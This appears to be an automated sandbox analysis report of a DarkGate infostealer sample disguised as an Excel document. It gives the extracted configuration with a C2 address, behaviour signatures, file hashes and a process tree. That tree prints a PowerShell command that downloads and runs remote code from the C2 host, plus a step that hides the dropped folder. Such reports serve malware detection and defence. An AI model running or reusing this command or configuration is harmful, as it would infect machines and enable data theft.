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Analysis

  • max time kernel
    114s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/04/2024, 15:19

General

  • Target

    MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs

  • Size

    880KB

  • MD5

    e0217823f2f748254b43ede64e422199

  • SHA1

    3bede6ac6d6e7362b64a7de6663c9b6caac29832

  • SHA256

    2e34908f60502ead6ad08af1554c305b88741d09e36b2c24d85fd9bac4a11d2f

  • SHA512

    ab681712155c36cf0a8f44be5c181e4d4a2b61f3b35b2d6fa1266924b9932d8bab50b9e72a60d7e64ed3fa0504ec98726d81a2ebabf6bf403ac14dc5fb07c7b6

  • SSDEEP

    24576:j2rHDMzlpSUY+g3Gy1U6dxvJwdd+2fk6T/dhTYzmQGeKsKBGrlrH:kAW59gs/s0dH

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

103.124.106.237

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    bedxvHpr

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '103.124.106.237/wctaehcw')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2956
      • C:\kady\AutoHotkey.exe
        "C:\kady\AutoHotkey.exe" C:/kady/script.ahk
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:1216
      • C:\Windows\system32\attrib.exe
        "C:\Windows\system32\attrib.exe" +h C:/kady/
        3⤵
        • Views/modifies file attributes
        PID:2084
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1416 --field-trial-handle=2228,i,521073434451423547,2311651514500527526,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:4284

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4ik10bm.o55.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\kady\AutoHotkey.exe

      Filesize

      892KB

      MD5

      a59a2d3e5dda7aca6ec879263aa42fd3

      SHA1

      312d496ec90eb30d5319307d47bfef602b6b8c6c

      SHA256

      897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

      SHA512

      852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

    • C:\kady\script.ahk

      Filesize

      441B

      MD5

      958cd4a849145b96e92e63ef4e152349

      SHA1

      19d79b480294e7c329c19faf87fc5e3320268caa

      SHA256

      8e7070383517cc127dfff26a726a47fc48a9169591e29c8d16df6fdd6d2c591e

      SHA512

      7852834cf31f55c6d97fdc204b59b8177d336c1f5ee1a14ae880e34c3e8c407953f1722274c040c93c5ac978f1a6ddb9d4a1b5019b6d3a99dd081440528210a0

    • C:\kady\test.txt

      Filesize

      922KB

      MD5

      8ed12b37b69693e66f928cd39fc21c6c

      SHA1

      2ee8c14330d38f3ba3c23e4bb56c05b29191ff03

      SHA256

      70223ac25fecd28385f39f36367f93b045c312f062354497dd2702e7d295784d

      SHA512

      50daf960cd89efe9b562db00177f27f3ba9e0929be830406857d9879a49c58f62d5d03c1b01c83104f47784da02b2cc2fab28c9b653e1a1861d4b319271e2795

    • memory/1216-37-0x00000000031E0000-0x0000000003254000-memory.dmp

      Filesize

      464KB

    • memory/1216-35-0x00000000031E0000-0x0000000003254000-memory.dmp

      Filesize

      464KB

    • memory/2956-12-0x000001D6224C0000-0x000001D6224D0000-memory.dmp

      Filesize

      64KB

    • memory/2956-14-0x000001D622DD0000-0x000001D622F92000-memory.dmp

      Filesize

      1.8MB

    • memory/2956-32-0x00007FFFB8DD0000-0x00007FFFB9891000-memory.dmp

      Filesize

      10.8MB

    • memory/2956-13-0x000001D6224C0000-0x000001D6224D0000-memory.dmp

      Filesize

      64KB

    • memory/2956-11-0x000001D6224C0000-0x000001D6224D0000-memory.dmp

      Filesize

      64KB

    • memory/2956-0-0x000001D6226B0000-0x000001D6226D2000-memory.dmp

      Filesize

      136KB

    • memory/2956-10-0x00007FFFB8DD0000-0x00007FFFB9891000-memory.dmp

      Filesize

      10.8MB